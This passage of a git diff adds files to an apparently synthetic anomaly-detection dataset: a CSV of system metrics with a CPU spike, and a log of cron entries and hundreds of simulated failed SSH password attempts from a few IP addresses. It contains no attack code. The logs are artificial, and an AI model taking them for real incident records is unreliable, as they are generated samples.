+2025-08-15T10:00:25Z,19.02,41.09,31.86,0.91,1.04 +2025-08-15T10:00:30Z,13.04,42.81,29.81,1.15,0.96 +2025-08-15T10:00:35Z,10.77,41.84,31.71,1.42,1.0 +2025-08-15T10:00:40Z,17.33,43.99,30.58,0.99,1.07 +2025-08-15T10:00:45Z,19.48,41.94,31.41,1.46,1.05 +2025-08-15T10:00:50Z,13.16,43.66,28.91,0.86,0.91 +2025-08-15T10:00:55Z,17.5,41.86,28.55,1.04,0.72 +2025-08-15T10:01:00Z,19.66,43.34,28.39,1.19,0.86 +2025-08-15T10:01:05Z,19.33,42.59,28.26,1.2,0.72 +2025-08-15T10:01:10Z,19.69,41.69,30.52,1.43,1.1 +2025-08-15T10:01:15Z,12.21,42.92,29.21,1.16,1.01 +2025-08-15T10:01:20Z,19.9,41.07,29.21,0.92,0.86 +2025-08-15T10:01:25Z,16.35,41.2,28.94,1.27,1.19 +2025-08-15T10:01:30Z,13.73,41.02,29.59,0.99,1.27 +2025-08-15T10:01:35Z,10.64,41.84,32.97,1.12,0.72 +2025-08-15T10:01:40Z,16.5,41.1,32.46,1.45,0.77 +2025-08-15T10:01:45Z,19.0,42.37,31.66,0.95,0.85 +2025-08-15T10:01:50Z,12.76,41.06,32.11,1.46,0.9 +2025-08-15T10:01:55Z,12.49,43.24,29.87,1.15,1.28 +2025-08-15T10:02:00Z,88.95,43.23,33.07,12.79,1.32 +2025-08-15T10:02:05Z,95.4,41.66,25.65,12.74,0.74 +2025-08-15T10:02:10Z,95.27,40.29,32.47,8.53,1.97 +2025-08-15T10:02:15Z,91.13,43.57,28.25,10.48,1.21 +2025-08-15T10:02:20Z,93.64,43.81,30.48,10.65,1.41 +2025-08-15T10:02:25Z,88.89,42.02,31.21,8.65,1.09 +2025-08-15T10:02:30Z,87.97,42.09,33.93,12.57,0.98 +2025-08-15T10:02:35Z,97.19,43.13,30.5,9.41,1.89 +2025-08-15T10:02:40Z,96.91,40.68,26.92,11.88,1.09 +2025-08-15T10:02:45Z,94.23,43.62,26.68,14.02,1.03 +2025-08-15T10:02:50Z,87.68,43.14,33.9,8.49,0.88 +2025-08-15T10:02:55Z,97.47,43.86,26.04,14.6,0.71 +2025-08-15T10:03:00Z,90.2,43.23,31.27,11.69,0.96 +2025-08-15T10:03:05Z,85.06,40.9,27.8,11.02,1.51 +2025-08-15T10:03:10Z,94.44,43.7,34.19,11.85,1.17 +2025-08-15T10:03:15Z,95.48,40.74,31.64,13.22,1.63 +2025-08-15T10:03:20Z,92.77,42.32,33.42,12.44,0.77 +2025-08-15T10:03:25Z,85.93,44.71,26.77,12.7,1.48 +2025-08-15T10:03:30Z,87.07,44.08,28.11,12.16,1.2 +2025-08-15T10:03:35Z,95.25,43.45,29.5,12.16,1.3 +2025-08-15T10:03:40Z,89.59,44.54,34.16,10.99,1.53 +2025-08-15T10:03:45Z,85.76,40.87,33.14,12.48,1.86 +2025-08-15T10:03:50Z,86.59,41.23,34.65,8.3,1.0 +2025-08-15T10:03:55Z,95.65,43.37,31.63,13.77,1.13 +2025-08-15T10:04:00Z,93.97,40.03,25.66,8.01,1.34 +2025-08-15T10:04:05Z,93.69,44.57,31.0,8.87,1.1 +2025-08-15T10:04:10Z,92.74,42.09,26.0,11.46,0.73 +2025-08-15T10:04:15Z,97.5,44.87,31.07,8.85,0.63 +2025-08-15T10:04:20Z,91.49,40.06,30.6,9.73,0.62 +2025-08-15T10:04:25Z,86.8,41.59,29.99,11.11,1.14 +2025-08-15T10:04:30Z,85.23,44.34,29.11,8.33,1.47 +2025-08-15T10:04:35Z,93.81,41.06,30.84,10.21,0.71 +2025-08-15T10:04:40Z,89.81,43.65,27.5,10.32,0.9 +2025-08-15T10:04:45Z,96.33,41.53,34.25,11.65,0.52 +2025-08-15T10:04:50Z,93.55,43.36,33.79,9.38,1.08 +2025-08-15T10:04:55Z,89.18,40.8,26.54,11.57,0.6 +2025-08-15T10:05:00Z,97.91,40.64,32.54,11.01,0.85 +2025-08-15T10:05:05Z,86.2,41.73,33.82,11.37,1.15 +2025-08-15T10:05:10Z,88.18,43.26,33.27,12.71,1.93 +2025-08-15T10:05:15Z,98.12,43.4,31.51,12.29,1.23 +2025-08-15T10:05:20Z,87.62,44.16,32.8,14.74,1.43 +2025-08-15T10:05:25Z,85.03,41.89,30.23,10.63,1.49 +2025-08-15T10:05:30Z,93.62,40.34,30.93,12.72,1.09 +2025-08-15T10:05:35Z,86.44,44.55,30.01,10.35,1.06 +2025-08-15T10:05:40Z,87.28,43.98,29.57,12.63,0.86 +2025-08-15T10:05:45Z,89.87,44.94,27.04,8.79,1.31 +2025-08-15T10:05:50Z,93.29,42.32,27.98,8.67,1.15 +2025-08-15T10:05:55Z,87.31,44.43,28.05,9.23,1.44 +2025-08-15T10:06:00Z,13.41,41.66,29.88,1.38,0.86 +2025-08-15T10:06:05Z,19.01,43.56,29.92,1.48,1.0 +2025-08-15T10:06:10Z,13.69,43.12,32.4,0.88,1.2 +2025-08-15T10:06:15Z,17.28,41.96,31.23,0.94,1.13 +2025-08-15T10:06:20Z,11.15,42.14,31.83,0.92,1.28 +2025-08-15T10:06:25Z,12.99,43.89,29.24,0.96,0.9 +2025-08-15T10:06:30Z,12.5,43.34,29.66,1.2,0.89 +2025-08-15T10:06:35Z,19.69,41.27,31.55,1.39,0.95 +2025-08-15T10:06:40Z,16.53,43.61,29.42,1.46,0.89 +2025-08-15T10:06:45Z,17.79,41.23,30.46,0.83,0.74 +2025-08-15T10:06:50Z,10.42,43.25,32.07,1.2,1.14 +2025-08-15T10:06:55Z,18.13,41.75,32.98,1.04,0.95 +2025-08-15T10:07:00Z,10.84,41.88,30.51,1.39,0.83 +2025-08-15T10:07:05Z,12.0,41.44,30.49,1.39,1.23 +2025-08-15T10:07:10Z,17.2,41.11,29.12,1.2,0.85 +2025-08-15T10:07:15Z,11.67,43.49,32.41,1.09,1.25 +2025-08-15T10:07:20Z,19.55,43.84,28.17,1.3,1.2 +2025-08-15T10:07:25Z,12.46,42.38,30.8,1.49,0.98 diff --git a/mali_dataset/scenario_7/mali_7_17.log b/mali_dataset/scenario_7/mali_7_17.log new file mode 100644 index 0000000000000000000000000000000000000000..1516bd406f92dab2fd420a6d8eaf240657e69412 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_17.log @@ -0,0 +1,456 @@ +Aug 15 10:00:01 server CRON[1034]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:01 server systemd[1]: Starting daily clean up activities... +Aug 15 10:01:16 server systemd[1]: Starting daily clean up activities... +Aug 15 10:02:01 server sshd[22411]: Failed password for admin from 203.0.113.19 port 55900 ssh2 +Aug 15 10:02:02 server sshd[22411]: Failed password for invalid user ubuntu from 172.16.254.1 port 62324 ssh2 +Aug 15 10:02:03 server sshd[22411]: Failed password for invalid user admin from 10.0.0.100 port 62557 ssh2 +Aug 15 10:02:03 server sshd[22411]: Failed password for support from 172.16.254.1 port 7713 ssh2 +Aug 15 10:02:04 server sshd[22411]: Failed password for guest from 203.0.113.19 port 20451 ssh2 +Aug 15 10:02:04 server sshd[22411]: Failed password for user from 172.16.254.1 port 63864 ssh2 +Aug 15 10:02:05 server sshd[22511]: Failed password for root from 203.0.113.19 port 18524 ssh2 +Aug 15 10:02:05 server sshd[22511]: Failed password for root from 203.0.113.19 port 50973 ssh2 +Aug 15 10:02:05 server sshd[22511]: Failed password for ubuntu from 192.168.1.55 port 42563 ssh2 +Aug 15 10:02:06 server sshd[22511]: Failed password for support from 203.0.113.19 port 55311 ssh2 +Aug 15 10:02:08 server CRON[12534]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:08 server sshd[22511]: Failed password for admin from 172.16.254.1 port 59269 ssh2 +Aug 15 10:02:10 server sshd[22611]: Failed password for user from 203.0.113.19 port 58133 ssh2 +Aug 15 10:02:11 server sshd[22611]: Failed password for invalid user ubuntu from 10.0.0.100 port 49040 ssh2 +Aug 15 10:02:11 server sshd[22611]: Failed password for invalid user ubuntu from 10.0.0.100 port 60492 ssh2 +Aug 15 10:02:11 server sshd[22611]: Failed password for invalid user ubuntu from 172.16.254.1 port 58966 ssh2 +Aug 15 10:02:11 server sshd[22611]: Failed password for test from 10.0.0.100 port 38932 ssh2 +Aug 15 10:02:12 server sshd[22611]: Failed password for user from 192.168.1.55 port 49898 ssh2 +Aug 15 10:02:13 server sshd[22611]: Failed password for root from 203.0.113.19 port 62150 ssh2 +Aug 15 10:02:14 server sshd[22611]: Failed password for backup from 203.0.113.19 port 25629 ssh2 +Aug 15 10:02:15 server sshd[22711]: Failed password for admin from 192.168.1.55 port 10794 ssh2 +Aug 15 10:02:15 server sshd[22711]: Failed password for user from 203.0.113.19 port 13984 ssh2 +Aug 15 10:02:16 server sshd[22711]: Failed password for admin from 10.0.0.100 port 64094 ssh2 +Aug 15 10:02:16 server sshd[22711]: Failed password for test from 203.0.113.19 port 52188 ssh2 +Aug 15 10:02:16 server sshd[22711]: Failed password for user from 10.0.0.100 port 14515 ssh2 +Aug 15 10:02:17 server sshd[22711]: Failed password for invalid user root from 10.0.0.100 port 19229 ssh2 +Aug 15 10:02:17 server sshd[22711]: Failed password for root from 10.0.0.100 port 53746 ssh2 +Aug 15 10:02:18 server sshd[22711]: Failed password for invalid user root from 10.0.0.100 port 10578 ssh2 +Aug 15 10:02:19 server sshd[22711]: Failed password for ec2-user from 203.0.113.19 port 6762 ssh2 +Aug 15 10:02:20 server sshd[22811]: Failed password for invalid user admin from 10.0.0.100 port 51455 ssh2 +Aug 15 10:02:20 server sshd[22811]: Failed password for invalid user ubuntu from 172.16.254.1 port 7834 ssh2 +Aug 15 10:02:20 server sshd[22811]: Failed password for user from 203.0.113.19 port 58099 ssh2 +Aug 15 10:02:21 server sshd[22811]: Failed password for ec2-user from 10.0.0.100 port 64017 ssh2 +Aug 15 10:02:21 server sshd[22811]: Failed password for root from 203.0.113.19 port 21882 ssh2 +Aug 15 10:02:22 server sshd[22811]: Failed password for support from 192.168.1.55 port 52303 ssh2 +Aug 15 10:02:23 server sshd[22811]: Failed password for backup from 10.0.0.100 port 51496 ssh2 +Aug 15 10:02:23 server sshd[22811]: Failed password for invalid user support from 172.16.254.1 port 27670 ssh2 +Aug 15 10:02:23 server sshd[22811]: Failed password for root from 192.168.1.55 port 34228 ssh2 +Aug 15 10:02:24 server sshd[22811]: Failed password for backup from 203.0.113.19 port 16587 ssh2 +Aug 15 10:02:24 server sshd[22811]: Failed password for invalid user user from 172.16.254.1 port 16482 ssh2 +Aug 15 10:02:24 server sshd[22811]: Failed password for user from 10.0.0.100 port 34334 ssh2 +Aug 15 10:02:25 server sshd[22911]: Failed password for guest from 172.16.254.1 port 5236 ssh2 +Aug 15 10:02:26 server sshd[22911]: Failed password for invalid user guest from 203.0.113.19 port 5941 ssh2 +Aug 15 10:02:28 server sshd[22911]: Failed password for admin from 203.0.113.19 port 26459 ssh2 +Aug 15 10:02:28 server sshd[22911]: Failed password for root from 192.168.1.55 port 3056 ssh2 +Aug 15 10:02:29 server sshd[22911]: Failed password for invalid user root from 172.16.254.1 port 13016 ssh2 +Aug 15 10:02:29 server sshd[22911]: Failed password for invalid user test from 10.0.0.100 port 53561 ssh2 +Aug 15 10:02:29 server sshd[22911]: Failed password for ubuntu from 192.168.1.55 port 24068 ssh2 +Aug 15 10:02:30 server sshd[23011]: Failed password for ec2-user from 203.0.113.19 port 34970 ssh2 +Aug 15 10:02:30 server sshd[23011]: Failed password for invalid user guest from 172.16.254.1 port 64338 ssh2 +Aug 15 10:02:30 server sshd[23011]: Failed password for invalid user root from 192.168.1.55 port 13245 ssh2 +Aug 15 10:02:30 server sshd[23011]: Failed password for ubuntu from 10.0.0.100 port 22771 ssh2 +Aug 15 10:02:32 server sshd[23011]: Failed password for backup from 172.16.254.1 port 10879 ssh2 +Aug 15 10:02:33 server sshd[23011]: Failed password for ec2-user from 203.0.113.19 port 44157 ssh2 +Aug 15 10:02:33 server sshd[23011]: Failed password for invalid user support from 172.16.254.1 port 39664 ssh2 +Aug 15 10:02:33 server sshd[23011]: Failed password for support from 192.168.1.55 port 41966 ssh2 +Aug 15 10:02:33 server sshd[23011]: Failed password for ubuntu from 10.0.0.100 port 47552 ssh2 +Aug 15 10:02:34 server sshd[23011]: Failed password for invalid user backup from 10.0.0.100 port 49113 ssh2 +Aug 15 10:02:35 server sshd[23111]: Failed password for backup from 172.16.254.1 port 49885 ssh2 +Aug 15 10:02:35 server sshd[23111]: Failed password for invalid user user from 203.0.113.19 port 23580 ssh2 +Aug 15 10:02:35 server sshd[23111]: Failed password for root from 192.168.1.55 port 46161 ssh2 +Aug 15 10:02:36 server sshd[23111]: Failed password for invalid user ubuntu from 10.0.0.100 port 38359 ssh2 +Aug 15 10:02:37 server sshd[23111]: Failed password for ec2-user from 10.0.0.100 port 15166 ssh2 +Aug 15 10:02:37 server sshd[23111]: Failed password for ec2-user from 203.0.113.19 port 16969 ssh2 +Aug 15 10:02:38 server sshd[23111]: Failed password for invalid user root from 10.0.0.100 port 53598 ssh2 +Aug 15 10:02:38 server sshd[23111]: Failed password for test from 10.0.0.100 port 10956 ssh2 +Aug 15 10:02:39 server sshd[23111]: Failed password for invalid user ubuntu from 203.0.113.19 port 12579 ssh2 +Aug 15 10:02:40 server sshd[23211]: Failed password for root from 203.0.113.19 port 9491 ssh2 +Aug 15 10:02:41 server sshd[23211]: Failed password for admin from 10.0.0.100 port 39533 ssh2 +Aug 15 10:02:42 server sshd[23211]: Failed password for backup from 192.168.1.55 port 52914 ssh2 +Aug 15 10:02:42 server sshd[23211]: Failed password for invalid user ec2-user from 192.168.1.55 port 38362 ssh2 +Aug 15 10:02:43 server sshd[23211]: Failed password for admin from 203.0.113.19 port 35756 ssh2 +Aug 15 10:02:43 server sshd[23211]: Failed password for backup from 10.0.0.100 port 46242 ssh2 +Aug 15 10:02:43 server sshd[23211]: Failed password for root from 203.0.113.19 port 59739 ssh2 +Aug 15 10:02:43 server sshd[23211]: Failed password for test from 192.168.1.55 port 44408 ssh2 +Aug 15 10:02:44 server sshd[23211]: Failed password for backup from 172.16.254.1 port 9985 ssh2 +Aug 15 10:02:44 server sshd[23211]: Failed password for ec2-user from 192.168.1.55 port 10143 ssh2 +Aug 15 10:02:44 server sshd[23211]: Failed password for root from 203.0.113.19 port 56112 ssh2 +Aug 15 10:02:44 server sshd[23211]: Failed password for root from 203.0.113.19 port 57313 ssh2 +Aug 15 10:02:45 server sshd[23311]: Failed password for support from 203.0.113.19 port 41176 ssh2 +Aug 15 10:02:47 server sshd[23311]: Failed password for admin from 192.168.1.55 port 63510 ssh2 +Aug 15 10:02:47 server sshd[23311]: Failed password for ubuntu from 10.0.0.100 port 54050 ssh2 +Aug 15 10:02:48 server sshd[23311]: Failed password for admin from 10.0.0.100 port 33732 ssh2 +Aug 15 10:02:48 server sshd[23311]: Failed password for ubuntu from 172.16.254.1 port 27975 ssh2 +Aug 15 10:02:48 server sshd[23311]: Failed password for ubuntu from 172.16.254.1 port 44921 ssh2 +Aug 15 10:02:49 server sshd[23311]: Failed password for test from 172.16.254.1 port 28894 ssh2 +Aug 15 10:02:51 server sshd[23411]: Failed password for admin from 203.0.113.19 port 5461 ssh2 +Aug 15 10:02:51 server sshd[23411]: Failed password for invalid user backup from 172.16.254.1 port 38570 ssh2 +Aug 15 10:02:51 server sshd[23411]: Failed password for support from 192.168.1.55 port 50039 ssh2 +Aug 15 10:02:52 server sshd[23411]: Failed password for admin from 192.168.1.55 port 54331 ssh2 +Aug 15 10:02:52 server sshd[23411]: Failed password for invalid user admin from 10.0.0.100 port 39097 ssh2 +Aug 15 10:02:52 server sshd[23411]: Failed password for invalid user root from 10.0.0.100 port 40241 ssh2 +Aug 15 10:02:52 server sshd[23411]: Failed password for root from 172.16.254.1 port 41402 ssh2 +Aug 15 10:02:53 server sshd[23411]: Failed password for invalid user ubuntu from 10.0.0.100 port 57175 ssh2 +Aug 15 10:02:54 server sshd[23411]: Failed password for ec2-user from 192.168.1.55 port 42190 ssh2 +Aug 15 10:02:54 server sshd[23411]: Failed password for guest from 203.0.113.19 port 29775 ssh2 +Aug 15 10:02:54 server sshd[23411]: Failed password for invalid user ubuntu from 172.16.254.1 port 38853 ssh2 +Aug 15 10:02:54 server sshd[23411]: Failed password for test from 192.168.1.55 port 13179 ssh2 +Aug 15 10:02:55 server sshd[23511]: Failed password for invalid user user from 10.0.0.100 port 13884 ssh2 +Aug 15 10:02:55 server sshd[23511]: Failed password for root from 192.168.1.55 port 55435 ssh2 +Aug 15 10:02:55 server sshd[23511]: Failed password for root from 203.0.113.19 port 38677 ssh2 +Aug 15 10:02:56 server sshd[23511]: Failed password for backup from 10.0.0.100 port 32111 ssh2 +Aug 15 10:02:56 server sshd[23511]: Failed password for guest from 203.0.113.19 port 31970 ssh2 +Aug 15 10:02:56 server sshd[23511]: Failed password for test from 10.0.0.100 port 17852 ssh2 +Aug 15 10:02:56 server sshd[23511]: Failed password for user from 172.16.254.1 port 42767 ssh2 +Aug 15 10:02:56 server sshd[23511]: Failed password for user from 192.168.1.55 port 48770 ssh2 +Aug 15 10:02:57 server sshd[23511]: Failed password for ec2-user from 172.16.254.1 port 10909 ssh2 +Aug 15 10:02:57 server sshd[23511]: Failed password for guest from 192.168.1.55 port 13028 ssh2 +Aug 15 10:02:58 server sshd[23511]: Failed password for guest from 203.0.113.19 port 56602 ssh2 +Aug 15 10:03:00 server sshd[23611]: Failed password for invalid user support from 203.0.113.19 port 42179 ssh2 +Aug 15 10:03:00 server sshd[23611]: Failed password for invalid user ubuntu from 192.168.1.55 port 64413 ssh2 +Aug 15 10:03:01 server sshd[23611]: Failed password for admin from 172.16.254.1 port 54025 ssh2 +Aug 15 10:03:01 server sshd[23611]: Failed password for backup from 192.168.1.55 port 56768 ssh2 +Aug 15 10:03:01 server sshd[23611]: Failed password for test from 192.168.1.55 port 54541 ssh2 +Aug 15 10:03:02 server sshd[23611]: Failed password for support from 10.0.0.100 port 12428 ssh2 +Aug 15 10:03:02 server sshd[23611]: Failed password for test from 172.16.254.1 port 7061 ssh2 +Aug 15 10:03:02 server sshd[23611]: Failed password for ubuntu from 10.0.0.100 port 12845 ssh2 +Aug 15 10:03:03 server sshd[23611]: Failed password for ec2-user from 172.16.254.1 port 21979 ssh2 +Aug 15 10:03:03 server sshd[23611]: Failed password for support from 10.0.0.100 port 41128 ssh2 +Aug 15 10:03:04 server sshd[23611]: Failed password for invalid user admin from 192.168.1.55 port 41423 ssh2 +Aug 15 10:03:05 server sshd[23711]: Failed password for invalid user ec2-user from 192.168.1.55 port 15058 ssh2 +Aug 15 10:03:06 server sshd[23711]: Failed password for invalid user ubuntu from 203.0.113.19 port 59298 ssh2 +Aug 15 10:03:07 server sshd[23711]: Failed password for backup from 203.0.113.19 port 42494 ssh2 +Aug 15 10:03:07 server sshd[23711]: Failed password for invalid user ubuntu from 192.168.1.55 port 8740 ssh2 +Aug 15 10:03:08 server sshd[23711]: Failed password for invalid user backup from 10.0.0.100 port 1855 ssh2 +Aug 15 10:03:10 server sshd[23811]: Failed password for guest from 172.16.254.1 port 19552 ssh2 +Aug 15 10:03:10 server sshd[23811]: Failed password for root from 10.0.0.100 port 24119 ssh2 +Aug 15 10:03:10 server sshd[23811]: Failed password for root from 172.16.254.1 port 46441 ssh2 +Aug 15 10:03:10 server sshd[23811]: Failed password for support from 192.168.1.55 port 27419 ssh2 +Aug 15 10:03:11 server sshd[23811]: Failed password for backup from 203.0.113.19 port 52190 ssh2 +Aug 15 10:03:12 server sshd[23811]: Failed password for ec2-user from 203.0.113.19 port 45473 ssh2 +Aug 15 10:03:12 server sshd[23811]: Failed password for invalid user admin from 172.16.254.1 port 42266 ssh2 +Aug 15 10:03:13 server sshd[23811]: Failed password for root from 172.16.254.1 port 58765 ssh2 +Aug 15 10:03:13 server sshd[23811]: Failed password for ubuntu from 172.16.254.1 port 54084 ssh2 +Aug 15 10:03:14 server sshd[23811]: Failed password for invalid user test from 10.0.0.100 port 42294 ssh2 +Aug 15 10:03:15 server sshd[23911]: Failed password for invalid user support from 192.168.1.55 port 33156 ssh2 +Aug 15 10:03:15 server sshd[23911]: Failed password for user from 10.0.0.100 port 51466 ssh2 +Aug 15 10:03:16 server sshd[23911]: Failed password for admin from 203.0.113.19 port 40779 ssh2 +Aug 15 10:03:17 server sshd[23911]: Failed password for invalid user guest from 192.168.1.55 port 58284 ssh2 +Aug 15 10:03:17 server sshd[23911]: Failed password for invalid user ubuntu from 203.0.113.19 port 15817 ssh2 +Aug 15 10:03:18 server sshd[23911]: Failed password for support from 10.0.0.100 port 33362 ssh2 +Aug 15 10:03:18 server sshd[23911]: Failed password for support from 172.16.254.1 port 23626 ssh2 +Aug 15 10:03:19 server sshd[23911]: Failed password for root from 203.0.113.19 port 65288 ssh2 +Aug 15 10:03:20 server sshd[24011]: Failed password for ec2-user from 203.0.113.19 port 59522 ssh2 +Aug 15 10:03:20 server sshd[24011]: Failed password for invalid user backup from 10.0.0.100 port 41291 ssh2 +Aug 15 10:03:21 server sshd[24011]: Failed password for guest from 192.168.1.55 port 34707 ssh2 +Aug 15 10:03:21 server sshd[24011]: Failed password for guest from 203.0.113.19 port 37881 ssh2 +Aug 15 10:03:21 server sshd[24011]: Failed password for invalid user user from 10.0.0.100 port 25604 ssh2 +Aug 15 10:03:21 server sshd[24011]: Failed password for root from 10.0.0.100 port 52456 ssh2 +Aug 15 10:03:21 server sshd[24011]: Failed password for root from 203.0.113.19 port 38952 ssh2 +Aug 15 10:03:22 server sshd[24011]: Failed password for invalid user admin from 172.16.254.1 port 63428 ssh2 +Aug 15 10:03:23 server sshd[24011]: Failed password for backup from 10.0.0.100 port 45402 ssh2 +Aug 15 10:03:23 server sshd[24011]: Failed password for user from 172.16.254.1 port 28258 ssh2 +Aug 15 10:03:25 server sshd[24111]: Failed password for invalid user support from 10.0.0.100 port 20092 ssh2 +Aug 15 10:03:26 server sshd[24111]: Failed password for root from 203.0.113.19 port 20454 ssh2 +Aug 15 10:03:27 server sshd[24111]: Failed password for root from 203.0.113.19 port 31805 ssh2 +Aug 15 10:03:27 server sshd[24111]: Failed password for user from 192.168.1.55 port 28140 ssh2 +Aug 15 10:03:28 server sshd[24111]: Failed password for backup from 172.16.254.1 port 12319 ssh2 +Aug 15 10:03:30 server sshd[24211]: Failed password for ec2-user from 10.0.0.100 port 5832 ssh2 +Aug 15 10:03:30 server sshd[24211]: Failed password for invalid user ubuntu from 192.168.1.55 port 23787 ssh2 +Aug 15 10:03:30 server sshd[24211]: Failed password for invalid user user from 192.168.1.55 port 12238 ssh2 +Aug 15 10:03:30 server sshd[24211]: Failed password for user from 10.0.0.100 port 1494 ssh2 +Aug 15 10:03:30 server sshd[24211]: Failed password for user from 172.16.254.1 port 26352 ssh2 +Aug 15 10:03:31 server sshd[24211]: Failed password for guest from 10.0.0.100 port 35209 ssh2 +Aug 15 10:03:31 server sshd[24211]: Failed password for guest from 10.0.0.100 port 37910 ssh2 +Aug 15 10:03:32 server sshd[24211]: Failed password for invalid user guest from 10.0.0.100 port 37332 ssh2 +Aug 15 10:03:32 server sshd[24211]: Failed password for ubuntu from 203.0.113.19 port 2918 ssh2 +Aug 15 10:03:33 server sshd[24211]: Failed password for test from 203.0.113.19 port 19680 ssh2 +Aug 15 10:03:34 server sshd[24211]: Failed password for guest from 203.0.113.19 port 57759 ssh2 +Aug 15 10:03:34 server sshd[24211]: Failed password for invalid user user from 192.168.1.55 port 5274 ssh2 +Aug 15 10:03:35 server sshd[24311]: Failed password for support from 10.0.0.100 port 7293 ssh2 +Aug 15 10:03:37 server sshd[24311]: Failed password for backup from 203.0.113.19 port 24465 ssh2 +Aug 15 10:03:37 server sshd[24311]: Failed password for ec2-user from 192.168.1.55 port 21826 ssh2 +Aug 15 10:03:37 server sshd[24311]: Failed password for test from 172.16.254.1 port 1877 ssh2 +Aug 15 10:03:37 server sshd[24311]: Failed password for user from 203.0.113.19 port 32745 ssh2 +Aug 15 10:03:37 server sshd[24311]: Failed password for user from 203.0.113.19 port 55057 ssh2 +Aug 15 10:03:38 server sshd[24311]: Failed password for root from 172.16.254.1 port 62882 ssh2 +Aug 15 10:03:38 server sshd[24311]: Failed password for support from 10.0.0.100 port 20422 ssh2 +Aug 15 10:03:39 server sshd[24311]: Failed password for admin from 203.0.113.19 port 44074 ssh2 +Aug 15 10:03:39 server sshd[24311]: Failed password for ec2-user from 172.16.254.1 port 27836 ssh2 +Aug 15 10:03:39 server sshd[24311]: Failed password for invalid user guest from 203.0.113.19 port 41533 ssh2 +Aug 15 10:03:40 server sshd[24411]: Failed password for admin from 203.0.113.19 port 21255 ssh2 +Aug 15 10:03:40 server sshd[24411]: Failed password for invalid user ec2-user from 172.16.254.1 port 57254 ssh2 +Aug 15 10:03:40 server sshd[24411]: Failed password for ubuntu from 192.168.1.55 port 17349 ssh2 +Aug 15 10:03:41 server sshd[24411]: Failed password for support from 10.0.0.100 port 45283 ssh2 +Aug 15 10:03:42 server sshd[24411]: Failed password for invalid user test from 172.16.254.1 port 6977 ssh2 +Aug 15 10:03:42 server sshd[24411]: Failed password for support from 203.0.113.19 port 52183 ssh2 +Aug 15 10:03:43 server sshd[24411]: Failed password for invalid user admin from 192.168.1.55 port 50127 ssh2 +Aug 15 10:03:43 server sshd[24411]: Failed password for invalid user user from 172.16.254.1 port 19503 ssh2 +Aug 15 10:03:43 server sshd[24411]: Failed password for support from 172.16.254.1 port 14303 ssh2 +Aug 15 10:03:44 server sshd[24411]: Failed password for admin from 203.0.113.19 port 53710 ssh2 +Aug 15 10:03:44 server sshd[24411]: Failed password for invalid user admin from 172.16.254.1 port 3384 ssh2 +Aug 15 10:03:45 server sshd[24511]: Failed password for ubuntu from 172.16.254.1 port 43069 ssh2 +Aug 15 10:03:46 server sshd[24511]: Failed password for invalid user admin from 203.0.113.19 port 3911 ssh2 +Aug 15 10:03:46 server sshd[24511]: Failed password for invalid user backup from 10.0.0.100 port 45690 ssh2 +Aug 15 10:03:46 server sshd[24511]: Failed password for root from 172.16.254.1 port 34613 ssh2 +Aug 15 10:03:47 server sshd[24511]: Failed password for backup from 192.168.1.55 port 36946 ssh2 +Aug 15 10:03:50 server sshd[24611]: Failed password for admin from 203.0.113.19 port 65226 ssh2 +Aug 15 10:03:50 server sshd[24611]: Failed password for ec2-user from 192.168.1.55 port 24509 ssh2 +Aug 15 10:03:51 server sshd[24611]: Failed password for admin from 172.16.254.1 port 44177 ssh2 +Aug 15 10:03:51 server sshd[24611]: Failed password for invalid user ec2-user from 203.0.113.19 port 1829 ssh2 +Aug 15 10:03:51 server sshd[24611]: Failed password for user from 192.168.1.55 port 44764 ssh2 +Aug 15 10:03:53 server sshd[24611]: Failed password for root from 192.168.1.55 port 58030 ssh2 +Aug 15 10:03:54 server sshd[24611]: Failed password for user from 172.16.254.1 port 13960 ssh2 +Aug 15 10:03:54 server sshd[24611]: Failed password for user from 203.0.113.19 port 37235 ssh2 +Aug 15 10:03:56 server sshd[24711]: Failed password for admin from 10.0.0.100 port 38962 ssh2 +Aug 15 10:03:56 server sshd[24711]: Failed password for ubuntu from 172.16.254.1 port 1453 ssh2 +Aug 15 10:03:57 server sshd[24711]: Failed password for ubuntu from 192.168.1.55 port 22586 ssh2 +Aug 15 10:03:58 server sshd[24711]: Failed password for guest from 172.16.254.1 port 7288 ssh2 +Aug 15 10:03:58 server sshd[24711]: Failed password for invalid user ec2-user from 203.0.113.19 port 19682 ssh2 +Aug 15 10:03:58 server sshd[24711]: Failed password for invalid user ec2-user from 203.0.113.19 port 61336 ssh2 +Aug 15 10:03:59 server sshd[24711]: Failed password for invalid user root from 10.0.0.100 port 55453 ssh2 +Aug 15 10:03:59 server sshd[24711]: Failed password for support from 172.16.254.1 port 5671 ssh2 +Aug 15 10:04:00 server sshd[24811]: Failed password for invalid user ec2-user from 192.168.1.55 port 6151 ssh2 +Aug 15 10:04:00 server sshd[24811]: Failed password for invalid user guest from 192.168.1.55 port 30724 ssh2 +Aug 15 10:04:01 server sshd[24811]: Failed password for backup from 203.0.113.19 port 11947 ssh2 +Aug 15 10:04:01 server sshd[24811]: Failed password for invalid user test from 10.0.0.100 port 35782 ssh2 +Aug 15 10:04:01 server sshd[24811]: Failed password for ubuntu from 172.16.254.1 port 60446 ssh2 +Aug 15 10:04:02 server sshd[24811]: Failed password for ec2-user from 203.0.113.19 port 40549 ssh2 +Aug 15 10:04:02 server sshd[24811]: Failed password for test from 203.0.113.19 port 1599 ssh2 +Aug 15 10:04:03 server sshd[24811]: Failed password for invalid user test from 192.168.1.55 port 10551 ssh2 +Aug 15 10:04:03 server sshd[24811]: Failed password for root from 10.0.0.100 port 56858 ssh2 +Aug 15 10:04:03 server sshd[24811]: Failed password for ubuntu from 10.0.0.100 port 16963 ssh2 +Aug 15 10:04:04 server sshd[24811]: Failed password for guest from 192.168.1.55 port 3506 ssh2 +Aug 15 10:04:04 server sshd[24811]: Failed password for support from 192.168.1.55 port 13610 ssh2 +Aug 15 10:04:05 server sshd[24911]: Failed password for invalid user guest from 172.16.254.1 port 26745 ssh2 +Aug 15 10:04:05 server sshd[24911]: Failed password for ubuntu from 172.16.254.1 port 16032 ssh2 +Aug 15 10:04:05 server sshd[24911]: Failed password for ubuntu from 203.0.113.19 port 34127 ssh2 +Aug 15 10:04:06 server sshd[24911]: Failed password for guest from 10.0.0.100 port 11859 ssh2 +Aug 15 10:04:07 server sshd[24911]: Failed password for admin from 172.16.254.1 port 20314 ssh2 +Aug 15 10:04:07 server sshd[24911]: Failed password for invalid user ubuntu from 203.0.113.19 port 39044 ssh2 +Aug 15 10:04:07 server sshd[24911]: 